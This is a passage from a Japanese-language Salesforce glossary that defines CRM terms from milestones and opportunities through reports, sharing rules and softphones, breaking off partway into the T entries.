ルストンには、ケースの最初の対応や解決時間が含まれます。

マイルストンアクション
エンタイトルメントプロセスの各ステップ (マイルストン) で発生する、時間ベースのワークフローアクショ
ン。たとえば、マイルストンアクションには、最初の対応が違反となる 1 時間前にメールアラートを指定
のユーザに送信すること、最初の対応が正常に完了する 1 分後に特定の項目を自動的に更新することなど
があります。

ミニページレイアウト
レコードの既存ページレイアウトに表示されている項目のサブセット。システム管理者が選択してエージェ
ントコンソールのミニビューおよび詳細のフロート表示に表示できます。ミニページレイアウトは、ペー
ジレイアウトから、レコードタイプとプロファイルの関連付け、関連リスト、項目、および項目のアクセ
ス設定を継承します。

ミニビュー
エージェントコンソールの右側に表示されるフレームで、詳細ビューに表示されているレコードに関連す
るレコードが表示されます。ミニビューに表示される項目は、システム管理者によってミニページレイア
ウトで定義されます。詳細ビューに表示されているレコードに関連するレコードがない場合は、レコード
ミニビューは表示されません。

複数個人の行動
複数のユーザを招集する活動予定、またはミーティング。自分が作成した行動に他のユーザを招集して、
複数個人の行動を作成できます。
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複数選択リスト
「選択リスト (複数選択)」を参照してください。

私の設定
改善された [設定] ユーザインターフェースが組織で有効化されており、ユーザがSalesforce Classicを所有して
いると、ユーザ名の下にある [私の設定] メニューから個人設定を使用できます。

N

指定ログイン情報
指定ログイン情報では、1 つの定義にコールアウトエンドポイントの URL と必要な認証パラメータを指定し
ます。指定ログイン情報は、エンドポイントとして指定できるため、認証コールアウトの設定が簡略化さ
れます。

移動タブ
Salesforce コンソールのドロップダウンボタンを持つタブ。オブジェクトのホームページを選択して表示で
きます。

ニックネーム
コミュニティでこのユーザの識別に使用する名前。40 文字までの英数字が有効です。標準ユーザは、この
項目を編集できます。

O

オブジェクト
Salesforce 組織に情報を保存するために使用するオブジェクト。オブジェクトは、保存する情報の種類の全
体的な定義です。たとえば、Case オブジェクトを使用して、顧客からの問い合わせに関する情報を保存で
きます。各オブジェクトについて、組織は、そのデータ型の具体的なインスタンスに関する情報を保存す
る複数のレコードを保有します。たとえば、佐藤次郎さんから寄せられたトレーニングに関する問い合わ
せに関する情報を保存するケースレコードと、山田花子さんから寄せられたコンフィグレーションの問題
に関する情報を保存するケースレコードなどです。

オブジェクトレベルのヘルプ
カスタムオブジェクトに提供できるカスタムヘルプのテキスト。カスタムオブジェクトレコードのホーム
(概要)、詳細、編集ページ、リストビューや関連リストに表示されます。

OData プロデューサ
Open Data Protocol (OData) を使用して、外部サーバに保存されているデータを公開するリモートデータサービ
ス。Salesforce Connect 機能と併用して、Salesforce を OData プロデューサに接続するように外部データソース
を定義したり、外部データに対応付けるように外部オブジェクトを定義したりします。

Open CTI

開発者が CTI アダプタやクライアントアプリケーションを使用しないで Salesforce と統合する CTI (コンピュー
タテレフォニーインテグレーション) システムを構築できるアプリケーションプログラミングインターフェー
ス。
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演算子
検索範囲を狭めたり広げたりするために使用する項目。ほとんどのSalesforce検索では、AND、OR、AND NOT、
括弧 ( )、引用符 "" を演算子として使用できます。

商談
商談は、販売と進行中の商談を追跡します。

商談チーム
商談を担当するユーザで構成されるチーム。一般的な商談チームには、パートナー担当営業、営業担当、
およびプリセールスコンサルタントが含まれます。所有している商談ごとに商談チームを指定できます。

無料検索リード
主要な検索エンジンの無料リストから Web サイトにアクセスしたユーザが Salesforce 追跡コードが記載され
た Web-to-リードフォームに入力したときにリードが生成されたことを示す特定のリードソース。リード
ソースの詳細には、検索エンジンと、無料リードの検索語句が記載されています。

組織
ライセンスユーザセットが定義された Salesforce のリリース。組織は、Salesforce の各お客様に提供される仮
想スペースです。組織には、すべてのデータおよびアプリケーションが含まれており、他のすべての組織
から独立しています。

組織 (Org)

組織は「Org」と表記されることもあります。ライセンスユーザセットが定義されたSalesforceのリリースに
付属します。組織は、Salesforce の各お客様に提供される仮想スペースです。組織には、すべてのデータお
よびアプリケーションが含まれており、他のすべての組織から独立しています。

組織の共有アドレス
組織の共有アドレスを使用すると、1 つのユーザプロファイル内のすべてのユーザの別名として、単一の
メールアドレスを関連付けることができます。

アウトバウンドメッセージ
アウトバウンドメッセージでは、外部サービスなどの指定エンドポイントに情報を送信します。アウトバ
ウンドメッセージは [設定] から設定します。SOAP APIを使用して外部エンドポイントを設定し、メッセージ
のリスナーを作成する必要があります。

所有者のみの金額
コラボレーション売上予測で使用されます。調整なしの個人の商談 (収益ベース) の合計金額。

所有者のみの数量
コラボレーション売上予測で使用されます。調整なしの個人の商談 (数量ベース) の合計数量。

Salesforce for Outlook の構成
Salesforce for Outlook 設定には、Salesforce for Outlook ユーザが Microsoft® Outlook® と Salesforce 間で同期できるデー
タの設定が含まれます。システム管理者は、ユーザ種別ごとに個別の設定を作成し、各自の設定の一部を
編集する権限をユーザに付与することができます。たとえば、商談チームはすべてを同期させる必要があ
りますが、マネージャは行動のみを同期します。

所有者
レコード (取引先責任者またはケースなど) が割り当てられる個別ユーザ。
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P

PaaS

「サービスとしてのプラットフォーム」を参照してください。
パッケージ

AppExchange を介して他の組織で使用可能な Force.com のコンポーネントおよびアプリケーションのグルー
プ。AppExchangeにまとめてアップロードできるように、パッケージを使用してアプリケーションおよび関
連するコンポーネントをバンドルします。

パッケージのインストール
インストールによって、パッケージの内容を Salesforce 組織に組み込みます。AppExchange のパッケージに
は、アプリケーション、コンポーネントまたはこの 2 つの組み合わせを含めることができます。パッケー
ジをインストールした後に、適宜パッケージのコンポーネントをリリースして組織のユーザが一般的に使
用できるようにします。

ページレイアウト
レコードの詳細ページまたは編集ページの項目、カスタムリンク、および関連リストの構成。主にユーザ
のページを構成するページレイアウトを使用します。Professional Edition、Enterprise Edition、Unlimited Edition、
Performance Edition、および Developer Edition では、項目レベルのセキュリティを使用して、特定の項目に対す
るユーザのアクセス権限を制限します。

親取引先
取引先が関連付けられている組織または会社。取引先の親を指定することによって、[階層の表示] リンク
を使用してすべての親/子の関係をグローバルに表示できます。

Partial Copy Sandbox

Developer Sandbox に Sandbox テンプレートで定義したデータを加えたもの。
パートナー

販売取引を締結させるために連携する会社。作成する商談または取引先の場合、[パートナー] 関連リスト
を使用して、パートナー、および商談または取引先に対して果たす役割に関する情報を保存できます。パー
トナーは、Salesforce 内の既存の取引先でなければなりません。パートナーの役割を選択すると、自動的に
関連する取引先とのパートナーとの関係が作成され、両方の取引先で、他方をパートナーとして表示でき
ます。

パートナー取引先
チャネルマネージャが、パートナーコミュニティまたはパートナーポータルを使用するときに、パートナー
組織、パートナーユーザ、および活動を使用する Salesforce 取引先。

パートナーの役割
関連する販売取引における取引先の役割を指定する、各取引先または商談の [パートナー] 関連リストでの
取引先の選択。

パートナーユーザ
機能が制限されている Salesforce ユーザ。組織の外部的存在ですが、間接的な販売チャネルを通じて商品や
サービスを販売します。特定のパートナー取引先に関連付けられており、組織のデータへの限定アクセス
を持ち、パートナーポータルからログインします。
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パートナーポータル
パートナーポータルでは、パートナーユーザが、Salesforce ではない Web ポータル経由で Salesforce にログイ
ンします。

目標 (%)

目標が指定できる売上予測バージョンでは、これは、営業担当者が達成できると確信する目標の割合を示
す、売上予測の計算済みの値です。[達成予測] を[目標] で除算した値になります。

権限
Salesforce で特定の機能をユーザが実行するための設定。権限は、権限セットとプロファイルで有効にでき
ます。権限の例には、カスタムオブジェクトの「編集」権限と「すべてのデータの編集」権限などがあり
ます。

権限セット
ユーザに特定のツールと機能へのアクセスを提供する一連の権限と設定。

個人取引先
貴社が提供する金融サービス、オンラインショップ、または旅行代理店サービスの利用者など、貴社と取
引がある個人の顧客。個人取引先は、企業間取引モデルではなく、企業対消費者取引モデルのビジネス形
態を持つ組織に適用できます。

Personal Edition

個別の営業担当者や単一ユーザ向けに設計された製品。
個人設定

設定オプションとカスタマイズオプションは、ユーザのSalesforce体験をカスタマイズするのに役立ちます。
すべての Salesforce ユーザは、自分の個人設定を編集できます。組織のユーザインターフェース設定に応じ
て、[設定] メニューの [個人設定] 領域か、ユーザのアバターまたは名前の下にあるメニューから、個人設定
にアクセスできます。

語句検索
「顧客関係管理」など指定した語句を含むアイテムのみと一致する全文検索のタイプ。

選択リスト
Salesforce オブジェクトの特定の項目で選択できる選択肢。たとえば、取引先の [業種] 項目など。ユーザ
は、項目に直接入力せずに、選択リストから 1 つの値を選択できます。「マスタ選択リスト」も参照して
ください。

選択リスト (複数選択)

Salesforce オブジェクトの特定の項目で選択できる選択肢のリストです。複数選択リストを使用して 1 つま
たは複数の値を選択できます。ユーザは値をダブルクリックして選択するか、Ctrl キーを押したまま値をク
リックしてスクロールリストから複数の値を選択し、矢印アイコンを使用して選択されたボックスに値を
移動できます。

選択リスト値
特定の項目のドロップダウンリストに表示される選択肢。事前定義された値と、管理者によって変更また
は定義できる値があります。

固定表示リスト
Service Cloud コンソールの上部または左に表示されるリスト。常に表示されており、作業しているリストと
レコードの詳細を同時に表示します。固定表示リストは、管理者によって有効にされます。
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パイプライン
完了予定日が当四半期にある進行中の商談の金額合計。売上予測の詳細ページおよび編集ページに表示さ
れます。マネージャの場合、この値には、自分自身とチーム全体で進行中の商談が含まれます。

サービスとしてのプラットフォーム (PaaS)

アプリケーションを作成し、クラウドでリリースするために開発者がサービスプロバイダが提供するプロ
グラミングツールを使用する環境。アプリケーションはサービスとしてホストされ、インターネットを経
由して顧客に提供されます。PaaS ベンダは、特殊なアプリケーションを作成および拡張するAPIを提供しま
す。また PaaS ベンダは、リリースしたアプリケーションおよび各顧客データの日常メンテナンス、操作お
よびサポートを行う責任があります。このサービスで、プログラマが独自のハードウェア、ソフトウェア、
そして関連 IT リソースを使用してアプリケーションをインストール、構成、保守する必要性を緩和します。
PaaS 環境を使用して、あらゆる市場区分にサービスを配信することができます。

人気のあるアイデア
[人気のあるアイデア] サブタブでは、アイデアに対するプラス投票の経過時間を反映した内部計算によっ
てアイデアが並び替えられます。アイデアの静的な総ポイント数に関係なく、新たにプラス投票を獲得し
たアイデアが、プラス投票の獲得が古いアイデアよりもページの上の方に表示されます。これにより、過
去にプラス投票され古くなったアイデアに対する優先度を下げ、最近人気のあるアイデアを容易に確認で
きます。

人気のある質問
特定の時間内に [いいね!] と言った行ったユーザ数に基づく各質問の人気度。

投稿
Chatter フィードの最上位のコメント。

投稿の共有
公開 Chatter 投稿をコピーして、それをプロファイルや所属するグループに公開します。メールやインスタ
ントメッセージで投稿へのリンクを送信して、他の Chatter ユーザと投稿を共有することもできます。

価格表
組織で販売している商品のリスト。使用可能なエディションは、Professional Edition、Enterprise Edition、Unlimited

Edition、Performance Edition、および Developer Edition です。
主取引先責任者

組織の主担当を表示する会社情報の項目。
取引先、契約、または商談と関連付けられた主担当者のことも示します。取引先、契約、または商談の [取
引先責任者の役割] 関連リストのチェックボックスで指定します。

主パートナー
商談の締結に主要な役割を果たすパートナー取引先。商談の [パートナー] 関連リストのチェックボックス
で指定します。

主タブ
取引先など、作業する主たる項目を表示する Salesforce コンソールのタブ。

Process Visualizer

承認プロセスを図示するツール。参照のみの図は、フローチャートとして表されます。図と情報スライド
バーパネルは、承認プロセスを構成するステップ、ルール条件、およびアクションを視覚化して理解する
のに役立ちます。
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Professional Edition

CRM の全機能を必要とするビジネス用に設計された Salesforce エディション。
商品ファミリ

商品に関する選択リスト。カスタマイズして商品の種類を分類できます。
プロファイル

Salesforce 内でユーザがさまざまな機能を実行するための権限を定義します。たとえば、ソリューション管
理者プロファイルでは、ソリューションを作成、編集、および削除するためのアクセス権がユーザに付与
されます。

プロファイル、Chatter

各 Salesforce ユーザの個人ページ。連絡先情報、フォローしている人やフォローされている人のリスト、
Chatter フィード、および写真が含まれます。

昇格
アイデアに賛成する場合や、アイデアが気に入った場合は、[賛成] をクリックすると、そのアイデアに 10

ポイント加算されます。同じアイデアを 2 回以上昇格することはできません。また、自分がすでに降格し
たアイデアを昇格させることはできません。Salesforce により、自分が投稿したアイデアには自動的に昇格
の投票が追加されます。
変更をある組織から別の組織に移行する場合にも行います。「リリース」と「移行」も参照してください。

プロバイダ組織
Salesforce Connect に組織間アダプタを使用している場合、プロバイダ組織は、登録者組織からアクセスされ
るデータを保存します。

公開カレンダー
ユーザのグループがそのグループの全員にとって重要な行動 (マーケティング行動、商品のリリース、ト
レーニングコースなど) を追跡したり共通の活動 (チームの休暇カレンダーなど) をスケジュール設定できる
カレンダー。たとえば、マーケティングチームは、営業やマーケティングチーム全体に対して今後のマー
ケティング活動を表示するカレンダーを設定できます。

転送通知、モバイル
ユーザがアプリケーションを使用していないときに、アプリケーションがモバイルデバイスのホーム画面
に表示するアラート。これらのアラートは、デバイスの種類に応じて、テキスト、アイコン、音で構成さ
れます。

転送通知、Salesforce コンソール
Salesforce コンソールのビジュアルインジケータ。ユーザのセッション中にレコードまたは項目が変更され
ると表示されます。

転送アップグレード
管理パッケージをインストールしたすべての組織にインストール済みの管理パッケージのアップグレード
を送信する、アップデートの配布方法。
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Q

数量スケジュール
商品の請求または納入の日付、単位数 (数量)、および分割回数の概略。スケジュールの厳密な使用方法は
組織が決定できます。Enterprise Edition、Unlimited Edition、Performance Edition、Developer Edition でのみ使用でき
ます。

数量ベースの売上予測
販売単位の数量に基づく売上予測。

調整なしの数量
コラボレーション売上予測で使用されます。個人が所有する商談 (数量ベース) およびその個人の部下の商
談の調整なしの合計数量。部下には、売上予測階層でそのユーザにレポートを提出するすべてのユーザが
含まれます。

マネージャによる調整なしの数量
コラボレーション売上予測で使用されます。売上予測の所有者が表示する売上予測数。これは、所有者の
商談 (数量ベース) と部下の商談 (部下の売上予測に行われた調整を含む) の合計数量です。これには、売上
予測階層でその所有者より上位の売上予測マネージャによって行われる調整は含まれません。

質問
アンサーコミュニティに投稿された問題。コミュニティメンバーが質問すると、他のコミュニティメンバー
が質問の解決に役立つ回答を投稿します。

質問、非公開
アンサーコミュニティに投稿されたけれども [非公開] とマークされている問題。サポートエージェントの
みが参照および回答できます。

キュー
処理する前にアイテムを置いておく領域。Salesforce では、さまざまな機能やテクノロジにキューを使用し
ます。

目標
月別、四半期別にユーザに割り当てられる売上目標。(コラボレーション売上予測を使用している場合は、
月別にユーザに割り当てられる売上目標)。マネージャの売上目標は、チーム全体の目標額と等しくなりま
す。

見積
商品およびサービスの提案された価格を示すレコード。見積は、商談から作成し、PDF 形式で顧客にメール
送信できます。

R

最近の活動
[最近の活動] ページには、ゾーンへの参加に関する最近の活動の概要がすべて含まれています。たとえば、
このページには、そのユーザがゾーンに投稿したすべてのアイデアやコメントと、そのユーザが投票した
アイデアが一覧表示されます。[最近の活動] ページを表示するには、[アイデア] タブの右側にあるニック
ネームをクリックします。
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最近使ったデータ
最近使用したレコードを示すサイドバーのリスト。最近の項目のすべてのレコードが表示されるわけでは
ありません。

レコード
Salesforce オブジェクトの単一インスタンス。たとえば、「John Jones」は取引先責任者レコードの名前とな
ります。

レコード詳細ページ
取引先や取引先責任者など、Salesforce レコードに関する詳細が含まれるページ。たとえば、詳細にはレコー
ド所有者、取引先責任者情報、組織情報などが含まれます。

レコードタイプ
そのレコードの標準およびカスタムの選択リスト項目の一部またはすべてを含めることができる特定のレ
コードに使用可能な項目。レコードタイプをプロファイルに関連付けて、含まれている選択リストの値の
みがそのプロファイルのユーザに使用できるようにできます。

レコード更新
Chatter フィードの投稿。フォローされているレコードの項目変更の結果です。

関連リスト
レコードに関連する項目が表示される、レコードまたは他の詳細ページのセクション。たとえば、商談の
[フェーズの履歴] 関連リストや、ケースの [活動予定] 関連リストなど。

関連リストのフロート表示リンク
リンクにマウスポインタを停止することによって、関連リストに関する詳細ページの情報をすばやく表示
できるリンク。管理者は、フロート表示リンクの表示を有効にする必要があります。表示テキストには、
該当する関連リストと、レコードの番号が表示されます。このリンクをクリックすると、ページをスクロー
ルダウンすることなく、関連リストのコンテンツにジャンプすることができます。

関連オブジェクト
特定のタイプのレコードがコンソールの詳細ビューに表示されている状況で、システム管理者がエージェ
ントコンソールのミニビューへの表示を指定できるオブジェクトです。たとえば、システム管理者は、ケー
スが詳細ビューに表示されているときにミニビューに表示される項目として、関連する取引先、取引先責
任者、納入商品などを指定できます。

リレーション
ページレイアウト内の関連リストおよびレポート内の詳細レベルを作成するために使われる、2 つのオブ
ジェクトの間の接続です。両方のオブジェクトの特定の項目において一致する値を使用して、関連するデー
タにリンクします。たとえば、あるオブジェクトには会社に関連するデータが保存されていて、別のオブ
ジェクトには人に関連するデータが保存されている場合、リレーションを使用すると、その会社で働いて
いる人を検索できます。

リレーショングループ
取引先の集合を保存するために使用するカスタムオブジェクトレコード。

リレーショングループメンバー
リレーショングループに追加される取引先は「リレーショングループメンバー」と呼ばれます。

レポート
レポートは、一定の条件を満たすレコードセットを返し、行と列に整理して表示します。レポートデータ
は、条件で絞り込んだり、グループ化したり、グラフなどの図にして表示したりすることができます。レ
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ポートはフォルダに保存され、フォルダごとに誰にアクセス権を与えるかを制御します。「表形式レポー
ト」、「サマリーレポート」、「マトリックスレポート」を参照してください。

レポートビルダー
レポートのビジュアルエディタ。

レポートタイプ
主オブジェクトとその関連オブジェクトとの関係に基づいて、レポートで使用するレコードと項目のセッ
トを定義するもの。レポートには、レポートタイプで定義された条件を満たすレコードのみが表示されま
す。Salesforceには、定義済みの標準レポートタイプのセットが用意されています。管理者がカスタムレポー
トタイプを作成することもできます。

要請済みミーティング
Salesforce ユーザが、取引先責任者、リード、または個人取引先に要請するミーティング。ミーティングを
要請すると、Salesforce では固有の Web ページが作成され、そのページに提案したミーティング時間が表示
されます。被招集者はこのページにアクセスし、都合のよい時間を選択して、返信を送ります。Salesforce

ではすべての返答が追跡されるため、主催者は最適なミーティング時間を確認できます。
要請済みミーティングを確認すると、複数個人の行動になります。

レポート作成スナップショット
レポート作成スナップショットにより、履歴データに関するレポートを作成できます。承認されたユーザ
は、表形式のレポートやサマリーレポートの結果をカスタムオブジェクトの項目に保存することができ、
それらの項目を対象オブジェクト上の対応する項目に割り当てることができます。その上で、レポートを
いつ実行してそのカスタムオブジェクトの項目にレポートのデータを読み込むかをスケジューリングでき
ます。

レポート作成スナップショット実行ユーザ
ソースレポートのデータアクセスレベルを決めるセキュリティ設定を持つユーザ。これにより、セキュリ
ティ設定に関係なく、対象オブジェクトのレコードを参照できるすべてのユーザが、対象オブジェクトに
格納されたソースレポートの結果を参照できることになります。

リソースカレンダー
複数のユーザが会議室やプリンタなどの共有リソースの使用を調整できるカレンダー。

収益ベースの売上予測
収益金額に基づく売上予測。

収益スケジュール
商品の請求または収益の認識に使用する日付、収益金額、および分割回数の概要。スケジュールの厳密な
使用方法は組織が決定できます。Enterprise Edition、Unlimited Edition、Performance Edition、Developer Edition での
み使用できます。

ロール
特定の取引先および商談のパートナー取引先、または取引先責任者に割り当てられる役割。システム管理
者は [設定] でユーザロールを定義できます。個々のユーザは、取引先および取引先責任者に特定のパート
ナーおよび取引先責任者の役割を割り当てることができます。

実行ユーザ
各ダッシュボードには実行ユーザが指定され、そのユーザのセキュリティ設定によってダッシュボードに
表示されるデータが決まります。実行ユーザが特定の 1 ユーザである場合、すべてのダッシュボード閲覧
者には、閲覧者個々の個人のセキュリティ設定に関係なく、実行ユーザのセキュリティ設定に基づいてデー
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タが表示されます。動的ダッシュボードの場合、実行ユーザをログインしたユーザに設定することができ
るため、各ユーザには独自のアクセスレベルに従ってダッシュボードが表示されます。

S

Sコントロール

メモ:  Sコントロールは、Visualforce ページに置き換えられました。2010 年以降、新しい組織同様、Sコ
ントロールを作成したことのない組織は、Sコントロールを作成できなくなります。既存 Sコントロー
ルに影響はありません。引き続き編集できます。

カスタムリンクで使用するカスタム Web コンテンツ。カスタムSコントロールには、Java アプレット、Active-X

コントロール、Excel ファイル、カスタム HTML Web フォームなど、ブラウザに表示できるあらゆる種類のコ
ンテンツを入れることができます。

販売価格
商談での商品の価格。商品の標準価格、またはリスト価格と異なる場合があります。

Salesforce Connect

Salesforce Connect を使用すると、ERP (Enterprise Resource Planning) システムのデータやその他の組織のレコード
など、Salesforce 組織外に保存されているデータにアクセスできます。Salesforce Connect は外部オブジェクト
内にあるデータを表示し、外部データソースへの Web サービスコールアウト経由でリアルタイムに外部デー
タにアクセスします。

Salesforce コンソール
Salesforce コンソールは、レコードの検索、更新、作成をすばやく行う必要のある、変化の速い環境にある
ユーザ向けに設計されています。レコードと関連項目をタブとして 1 つの画面に表示することによって、
[コンソール] タブのエージェントコンソールを改善したものです。

Salesforce コンソールインテグレーションツールキット
ブラウザをクライアントとして使用し、ページをSalesforce コンソールのタブとして表示するAPI。開発者に
プログラムでコンソールにアクセスする機能を提供し、その結果としてシステム管理者がビジネスニーズ
に合わせてコンソールを拡張できるようにします。

Salesforce CRM Call Center

Salesforce をサードパーティのコンピュータテレフォニーインテグレーション (CTI) システムとシームレスに
統合する Salesforce の機能。

Salesforce CRM Content

組織および Salesforce アプリケーションの主なエリアでコンテンツを整理、共有、検索および管理するため
のオンデマンドのコンテンツ管理システム。コンテンツには、Microsoft PowerPoint プレゼンテーションなど
の従来のビジネス文書から、オーディオ、動画ファイル、Web ページまで、あらゆる種類のファイルを含
めることができます。

Salesforce for Outlook

Salesforce for Outlook。インストールする Microsoft® Outlook® インテグレーションアプリケーションの 1 つであ
り、Outlook と Salesforce の間で取引先責任者、行動、および ToDo を同期します。これらの項目の同期に加
え、Outlook メール、添付ファイル、行動、ToDo を複数の Salesforce取引先責任者に追加したり、取引先責任
者やリードに関連付けられた Salesforce レコードをメールおよび行動で表示したりできます。これらの操作
をすべて Outlook 内で行えます。
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Outlook とSalesforceの間で何を同期するか、および同期方向をカスタマイズできる場合があります。Salesforce

でこれらの設定をどの程度カスタマイズできるかは、組織のシステム管理者によって決定されます。
Salesforce for Outlook の構成

Salesforce for Outlook 設定には、Salesforce for Outlook ユーザが Microsoft® Outlook® と Salesforce 間で同期できるデー
タの設定が含まれます。システム管理者は、ユーザ種別ごとに個別の設定を作成し、各自の設定の一部を
編集する権限をユーザに付与することができます。たとえば、商談チームはすべてを同期させる必要があ
りますが、マネージャは行動のみを同期します。

Salesforce Classic Mobile

Salesforce Classic Mobile は、Salesforce 機能の 1 つであり、ユーザはこれを利用することで、モバイルクライア
ントアプリケーションを実行しているモバイルデバイスからSalesforceデータにアクセスできます。Salesforce

Classic Mobile クライアントアプリケーションを使用すると、無線通信事業者ネットワークを介して Salesforce

とデータを交換したり、ユーザのモバイルデバイスのデータベースにあるデータのローカルコピーを保存
したりできます。ワイヤレス接続ができない場合は、Salesforceレコードのローカルコピーを編集しておき、
接続できるようになってからローカルコピーに加えた変更を転送することができます。

Salesforce Office Toolkit

プラグインを使用すると、開発者は Microsoft Office 製品から SOAP API に直接アクセスしやすくなるため、新
しいインテグレーションや Office ベースのソリューションの作成が簡便化されます。

スケジュール
「数量スケジュール」と「収益スケジュール」を参照してください。

画面ポップ
Salesforce CRM Call Center への着信電話を表示するページ。

検索
指定したキーワードに一致する情報を検索できる機能。サイドバー検索が表示される場合、サイドバーの
[検索] セクションに検索語を入力するか、[高度な検索...] をクリックしてより詳細な検索オプションを設定
します。グローバル検索機能がある場合、ヘッダーにある検索ボックスに検索語を入力します。

検索レイアウト
検索結果、参照ダイアログ、およびタブのホームページの主要なリストに表示される項目の構成。

サービス
プロフェッショナルな支援の提供。拡張カスタマーサポートや設定のヘルプなど、Salesforce や Force.com プ
ラットフォームに関連するサービスを、AppExchange に表示できます。

Service Cloud ポータル
数千から数百万のユーザが対象のカスタマーポータル。Service Cloud ポータルライセンスの購入後、カスタ
マーポータルを使用できる取引先責任者にそれらのライセンスを割り当てることにより、パフォーマンス
に影響を及ぼすことなく、多数のユーザがカスタマーポータルにログインできるようになります。

設定
システム管理者が組織の設定および Force.com アプリケーションをカスタマイズおよび定義できるメニュー
です。組織のユーザインターフェース設定に応じて、[設定] はユーザインターフェースのヘッダーでリン
クになっている場合もあれば、ユーザ名の下でドロップダウンリストになっている場合もあります。

共有グループ
大規模ポータルユーザが所有するレコードにアクセスできる Salesforce ユーザのセット。各カスタマーポー
タルは、独自の共有グループを使用します。
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Shared Activities

最大 10 件の取引先責任者を単一の非定期的 Todo と非グループ Todo に関連付けるか、単一の非定期的な行
動に関連付けることができる機能。1 人の取引先責任者が主取引先責任者となり、その他はすべて副取引先
責任者になります。

共有
他のユーザが所有する情報を参照または編集したりできます。データの共有にはさまざまな方法がありま
す。
• 共有モデル: ユーザがお互いの情報に対して持つデフォルトの組織共有のアクセスレベルおよびデータ

へのアクセス権を決定する場合に階層を使用するかどうかを定義します。
• ロール階層: 組織の共有モデル設定に関係なく、上位レベルのユーザが、ロール階層で下位のユーザが

所有または共有する情報を表示および編集できるよう、ユーザのさまざまなレベルを定義します。
• 共有ルール: 管理者が指定したグループまたはロール内のユーザが作成したすべての情報が自躁的に別

のグループまたはロールのメンバーに共有されるようにします。
• 共有の直接設定: 各ユーザが他のユーザまたはグループとレコードを共有できるようにします。
• Apex による共有管理: 開発者がプログラムを使用して、アプリケーションの動作をサポートする共有を

操作できるようにします。「Apex による共有管理」を参照してください。
共有モデル

ユーザのさまざまな種類のレコードに対するデフォルトのアクセス権を指定する、管理者が定義する動作。
共有ルール

管理者が作成するデフォルト共有の種類。指定したグループまたはロールのユーザには、指定したグルー
プまたはロール内のユーザによって作成されたすべての情報にアクセス権を割り当てることができます。

サイドバー
最近使ったデータ、およびその他のリソースへのリンクを提供する、各ページの左側に表示される列。

サイト
Force.com サイトでは、公開 Web サイトとアプリケーションを作成できます。それらは Salesforce 組織と直接
統合されるため、ユーザがログインする場合にユーザ名やパスワードは必要ありません。

ソーシャル取引先と取引先責任者
Salesforceで直接、取引先、取引先責任者、およびリードのソーシャルネットワークプロファイルや他のソー
シャル情報を表示できる機能。これを使用して、既存顧客と潜在顧客のニーズや問題をさらに深く理解す
ることができます。

Social Key

Social Key は、ソーシャル取引先と取引先責任者および Data.com Clean で動作し、ソーシャルネットワークに
ある取引先責任者やリードを簡単にフォローできるようにします。[ソーシャル取引先と取引先責任者] で、
目的のソーシャルネットワークを選択します。自動化されたクリーンアップジョブには、リンクが含まれ
ています。取引先責任者またはリードの詳細ページから、ソーシャルネットワークにあるプロファイルを
すばやく参照できます。

ソフトフォン
Salesforce CRM Call Center ユーザに対して、Salesforce Classic ではページのサイドバー、Lightning Experience および
Salesforce コンソールではページのフッターに表示される電話インターフェース。
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ソフトフォンコネクタ
ソフトフォン XML を HTML に変換して Salesforce CRM Call Centerユーザのブラウザに配布するコンピュータテレ
フォニーインテグレーション (CTI) アダプタのコンポーネント。

ソフトフォン CTI Adapter

コンピュータテレフォニーインテグレーション (CTI) アダプタは、Salesforce ソフトフォンの表示方法と動作
を制御する軽量のソフトウェアプログラムです。このアダプタは、サードパーティの CTI (コンピュータテ
レフォニーインテグレーション) システム、Salesforce、および Salesforce CRM Call Center ユーザとの間の仲介ソ
フトウェアとして動作します。Salesforce CRM Call Center 機能にアクセスするすべてのコンピュータにインス
トールする必要があります。

サービスとしてのソフトウェア (SaaS)

ソフトウェアアプリケーションがサービスとしてホストされ、顧客にインターネットを経由して提供され
る配信モデル。SaaS ベンダは、アプリケーションおよび各顧客データの日常メンテナンス、操作およびサ
ポートを行う責任があります。このサービスで、顧客が独自のハードウェア、ソフトウェア、そして関連
IT リソースを使用してアプリケーションをインストール、構成、保守する必要性を緩和します。SaaS モデ
ルを使用して、あらゆる市場区分にサービスを配信することができます。

ソリューション管理者
ソリューションのレビュー、編集、公開、削除ができる組織内の 1 人以上のユーザ。通常、文書による高
いコミュニケーション力を持ち、自社製品の特定の領域に関して高度な知識を有するエキスパートがソ
リューション管理者になります。ユーザにこの権限を与えるには、ユーザを作成または編集するときに、
ソリューション管理者プロファイルを割り当てます。

ソースレポート
レポートを実行してその結果データを、レポート作成スナップショットのターゲットオブジェクトのレコー
ドとして読み込むようにスケジュールされているカスタムレポート。

フェーズ滞在期間
商談レポートに表示される、商談が [フェーズ] 列に表示されたフェーズに留まった日数。

フェーズの履歴
商談の状況およびフェーズの変更が表示される商談詳細ページの関連リスト。

標準価格
標準価格表に含まれる商品の価格。

標準価格表
すべての商品およびそれらの標準価格を含む、自動生成の価格表。

状況
アイデアの状況により、ゾーンメンバーはアイデアの進捗を追跡できます。たとえば、[レビュー中]、[レ
ビュー済み]、[利用不可]、[利用可能] 等の値をシステム管理者は定義することができます。アイデアの状況
は、アイデアのタイトルの横に表示され、すべてのゾーンメンバーが見ることができます。

語幹処理
単語を原形に戻す処理。検索では、語幹処理を使用すると検索語の拡張形にも一致します。たとえば語幹
処理を使用して 「run」を検索すると、「run」、「running」、「ran」を含むアイテムが一致します。

サブフロー
サブフロー要素は、実行時にコールする別のフローを参照します。サブフロー要素を含むフローは、マス
タフローとして参照されます。
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登録者組織
登録者組織は、Salesforce Connectの組織間アダプタを使用して、別の (プロバイダ) 組織に保存されているデー
タにアクセスします。登録者組織には、外部データソース定義と、プロバイダ組織のオブジェクトに対応
付けられる外部オブジェクトが含まれます。

集計項目
合計、平均、最大値、最小値のうちいずれかを示す数値のレポート列。カスタム集計項目を定義すると、
これらのオプションを拡張できます。集計情報を表示するほか、集計項目を使用してグラフやレポート作
成スナップショットを定義できます。

集計レポート
サマリーレポートは表形式レポートと似ていますが、ユーザによるデータ行のグルーピング、小計の表示、
およびグラフの作成も可能です。ダッシュボードコンポーネントのソースレポートとして使用できます。
サマリーレポートは、特定の項目の値に基づいて小計を表示する場合、または [フェーズ] および [所有
者] による小計の階層リスト (チームのすべての商談など) を作成する場合に使用します。

シンジケーションフィード
ユーザに、Force.com サイト内の変更を登録し、外部のニュースリーダーで更新を受け取る機能を提供しま
す。

T

タグ
Salesforce でデータを独自の方法で記述および整理するために使用され、ほとんどのレコードに関連付ける
ことができる単語または短い語句。システム管理者がタグを有効化できるのは、取引先、活動、納入商品、
キャンペーン、ケース、取引先責任者、契約、ダッシュボード、ドキュメント、行動、リード、メモ、商
